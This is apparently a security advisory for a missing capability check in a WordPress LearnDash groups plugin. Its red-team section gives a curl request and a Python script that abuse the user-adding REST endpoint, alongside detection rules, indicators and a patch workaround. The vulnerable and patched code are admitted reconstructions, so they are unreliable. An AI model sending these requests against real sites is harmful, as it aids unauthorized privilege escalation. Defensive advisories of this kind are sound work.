CVE-2024-8350

Executive Summary

CVE-2024-8350 is a missing capability check vulnerability in the Uncanny Groups for LearnDash plugin for WordPress, affecting all versions up to and including 6.1.0.1. This flaw allows authenticated attackers with group leader-level access or higher to add users to their groups via the /wp-json/ulgm_management/v1/add_user/ REST API endpoint. While the direct impact is limited (CVSS 2.7), it serves as a critical stepping stone for privilege escalation when chained with CVE-2024-8349, potentially granting full admin access to the WordPress site. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Group Leader)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low (direct), but Critical when chained with CVE-2024-8349.

Deep Dive & Mechanics

The vulnerability resides in the REST API endpoint /wp-json/ulgm_management/v1/add_user/. The plugin fails to perform a proper capability check before allowing a user to be added to a group. Specifically, the add_user function does not verify that the authenticated user has the necessary permissions (e.g., edit_users or manage_options) to add users to groups. Instead, it only checks if the user is a group leader, which is a lower-privileged role.

An attacker with group leader-level access can send a crafted POST request to this endpoint, specifying a target user ID and group ID. The plugin will add the user to the specified group without further authorization checks. This action, while seemingly minor, enables the attacker to then exploit CVE-2024-8349, which likely involves a privilege escalation from group member to admin.

The attack flow:

1. Attacker (group leader) adds a low-privilege user to their group via CVE-2024-8350.
2. Attacker exploits CVE-2024-8349 to escalate the added user's privileges to admin.
3. Attacker now has admin access to the WordPress site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.1.0.1):

// In class-ulgm-rest-api.php or similar
public function add_user( $request ) {
    $user_id = $request->get_param( 'user_id' );
    $group_id = $request->get_param( 'group_id' );
    $current_user = wp_get_current_user();
    
    // Missing capability check - only checks if user is group leader
    if ( ! $this->is_group_leader( $current_user->ID ) ) {
        return new WP_Error( 'rest_forbidden', 'You are not a group leader.', array( 'status' => 403 ) );
    }
    
    // Add user to group
    ld_update_group_access( $user_id, $group_id );
    return new WP_REST_Response( array( 'success' => true ), 200 );
}

Patched Code (Hypothetical):

// In class-ulgm-rest-api.php or similar
public function add_user( $request ) {
    $user_id = $request->get_param( 'user_id' );
    $group_id = $request->get_param( 'group_id' );
    $current_user = wp_get_current_user();
    
    // Proper capability check
    if ( ! current_user_can( 'edit_users' ) && ! $this->is_group_leader( $current_user->ID ) ) {
        return new WP_Error( 'rest_forbidden', 'You do not have permission to add users.', array( 'status' => 403 ) );
    }
    
    // Additional check: group leader can only add users to their own groups
    if ( $this->is_group_leader( $current_user->ID ) && ! $this->is_leader_of_group( $current_user->ID, $group_id ) ) {
        return new WP_Error( 'rest_forbidden', 'You can only add users to your own groups.', array( 'status' => 403 ) );
    }
    
    // Add user to group
    ld_update_group_access( $user_id, $group_id );
    return new WP_REST_Response( array( 'success' => true ), 200 );
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Uncanny Groups for LearnDash <= 6.1.0.1
• Authenticated user with group leader role
• Target user ID to add to group

Exploitation Steps:

1. Obtain a valid WordPress nonce and authentication cookie for a group leader account.

2. Send a POST request to the vulnerable endpoint:

curl -X POST https://target-site.com/wp-json/ulgm_management/v1/add_user/ \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: <nonce>" \
  -H "Cookie: wordpress_logged_in_<hash>=<cookie>" \
  -d '{"user_id": 5, "group_id": 2}'

3. Verify the user was added to the group (e.g., via the WordPress admin interface or by checking group membership).

4. Chain with CVE-2024-8349 to escalate privileges.

Automated Exploit Script (Python):

import requests
import json

target = "https://target-site.com"
nonce = "<nonce>"
cookie = {"wordpress_logged_in_<hash>": "<cookie>"}

headers = {
    "Content-Type": "application/json",
    "X-WP-Nonce": nonce
}

payload = {
    "user_id": 5,
    "group_id": 2
}

response = requests.post(
    f"{target}/wp-json/ulgm_management/v1/add_user/",
    headers=headers,
    cookies=cookie,
    data=json.dumps(payload)
)

print(response.status_code)
print(response.text)

Blue Team

Detection Steps:

1. Monitor REST API logs for unusual POST requests to /wp-json/ulgm_management/v1/add_user/.
2. Alert on any group leader account adding users to groups outside of normal business hours.
3. Correlate with CVE-2024-8349 exploitation attempts (e.g., privilege escalation events).
4. Review user role changes and group membership modifications.

Honeypot Setup:

• Create a fake group leader account with limited privileges.
• Monitor for any attempts to add users to groups via the API.
• Log all requests to the vulnerable endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-json/ulgm_management/v1/add_user/ with JSON body containing user_id and group_id parameters.
• Unusual user-agent strings (e.g., custom Python scripts, curl).

Host IOCs:

• Unexpected group membership changes in the wp_learndash_user_group table.
• New admin accounts created shortly after group membership changes.
• Log entries in WordPress debug log showing REST API errors or unauthorized access attempts.

File IOCs:

• Modified plugin files in /wp-content/plugins/uncanny-groups-for-learndash/.
• Suspicious PHP files uploaded to the WordPress uploads directory.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_8350_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-8350 in Uncanny Groups for LearnDash"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8350"
    strings:
        $api_endpoint = "/wp-json/ulgm_management/v1/add_user/"
        $json_payload = /{"user_id":\s*\d+,\s*"group_id":\s*\d+}/
        $nonce_pattern = /X-WP-Nonce:\s*[a-f0-9]+/
    condition:
        $api_endpoint and $json_payload and $nonce_pattern
}

Sigma Rule

title: CVE-2024-8350 Exploitation Attempt
id: 8f7e3d2a-1b5c-4e6f-9a8d-7c3b2e1f0a5d
status: experimental
description: Detects POST requests to the vulnerable REST API endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /wp-json/ulgm_management/v1/add_user/
    condition: selection
falsepositives:
    - Legitimate group leader actions
level: medium
tags:
    - attack.initial_access
    - attack.t1078

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-8350 - Uncanny Groups for LearnDash REST API Missing Capability Check";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-json/ulgm_management/v1/add_user/";
    http_uri;
    content:"user_id";
    http_client_body;
    content:"group_id";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-8350;
)

Remediation & Mitigation

Immediate Actions:

1. Update the Uncanny Groups for LearnDash plugin to the latest patched version (if available).
2. If no patch is available, disable the plugin or restrict access to the REST API endpoint.
3. Review all group leader accounts and revoke unnecessary privileges.

Long-term Mitigations:

1. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-json/ulgm_management/v1/add_user/ from non-admin users.
2. Monitor for CVE-2024-8349 exploitation attempts.
3. Apply the principle of least privilege to all user roles.
4. Regularly audit user role assignments and group memberships.

Workaround (if patch unavailable): Add the following code to the theme's functions.php file to add a capability check:

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    if ( strpos( $request->get_route(), '/ulgm_management/v1/add_user' ) !== false ) {
        if ( ! current_user_can( 'edit_users' ) ) {
            return new WP_Error( 'rest_forbidden', 'You do not have permission.', array( 'status' => 403 ) );
        }
    }
    return $result;
}, 10, 3 );

Valters IT
Securing Digital Frontiers